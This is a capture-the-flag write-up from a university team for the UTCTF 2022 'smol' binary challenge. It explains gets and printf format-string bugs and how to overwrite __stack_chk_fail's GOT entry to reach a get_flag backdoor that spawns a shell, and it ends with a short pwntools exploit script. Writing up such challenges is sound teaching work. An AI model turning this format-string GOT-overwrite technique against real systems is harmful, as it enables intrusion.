CTF Team at the University of British Columbia

[UTCTF 2022] smol

14 Mar 2022 by YiYang Lu

0x0 Introduction

In this challenge, a binary smol is provided.

0x1 Mitigation

    # Arch:     amd64-64-little
    # RELRO:    Partial RELRO
    # Stack:    Canary found
    # NX:       NX enabled
    # PIE:      No PIE (0x400000)

0x2 Identify the problem

here is a simplified version of what is main function doing.

main(void)
{
    var char *s1 @ rbp-0x150
    var char *format @ rbp-0xe0
    var char *s @ rbp-0x70
    var int64_t canary @ rbp-0x8

    canary = *(in_FS_OFFSET + 0x28);
    sym.imp.puts("What kind of data do you have?");
    sym.imp.gets(&s1);
    iVar2 = sym.imp.strcmp(&s1, "big data");
    if (iVar2 == 0) {
        // set variable format to some certain format
    }
    else {
        // set format to some certain format
    }
    sym.imp.puts("Give me your data");
    sym.imp.gets(&s);
    sym.imp.printf(&format, &s);
    sym.imp.putchar(10);
    if (canary != *(in_FS_OFFSET + 0x28)) {
        sym.imp.__stack_chk_fail();
    }
    return 0;
}

Take a brief looking at the code, we can identify two trivial vulnerability here. One is gets, which allow us to write arbitrary number of bytes to the stack. Another is printf, printf allow us to read/write data at specific address.

Since format is locate under variable s1, we can overwrite format with any format we want using gets(&s1). This allow us to do a arbitrary read/write with printf.

My first idea is try to leak the data in the canary and then do a rop chain to get a shell. However, printf execute after last gets function. Even we get the canary, we can’t overwrite canary because there is no stack overflow bug after that.

Lets take look at mitigation again, the mitigation shows that this program is partial RELRO. This allows us to modify the function address in the global offset table. So it is a good idea using printf to overwrite __stack_chk_fail’s address to a code address in global offset table. Then, we overwrite canary to trigger __stack_chk_fail and call the code we want.

Luckily, the binary kindly give us a backdoor at get_flag(). So, write address of __stack_chk_fail at GOT to get_flag() will give us a shell.

void sym.get_flag(void){
// some code
    sym.imp.execve("/bin/sh", &var_20h, 0);
// some code
    return;
}

0x3 Exploits

io = connect("pwn.utctf.live", 5004)

print("got __stack_chk_fail,",hex(exe.got["__stack_chk_fail"]))
payload1 = flat({
    0x0:exe.got["__stack_chk_fail"],
    0x150 - 0xe0: b'%%%dx%%6$hn\x00' % 0x1349
},filler=b"A")
io.sendlineafter(b"do you have?\n",payload1)
# trigger stack chk fail
io.sendlineafter(b"Give me your data\n",b"A"*0x70)
io.interactive()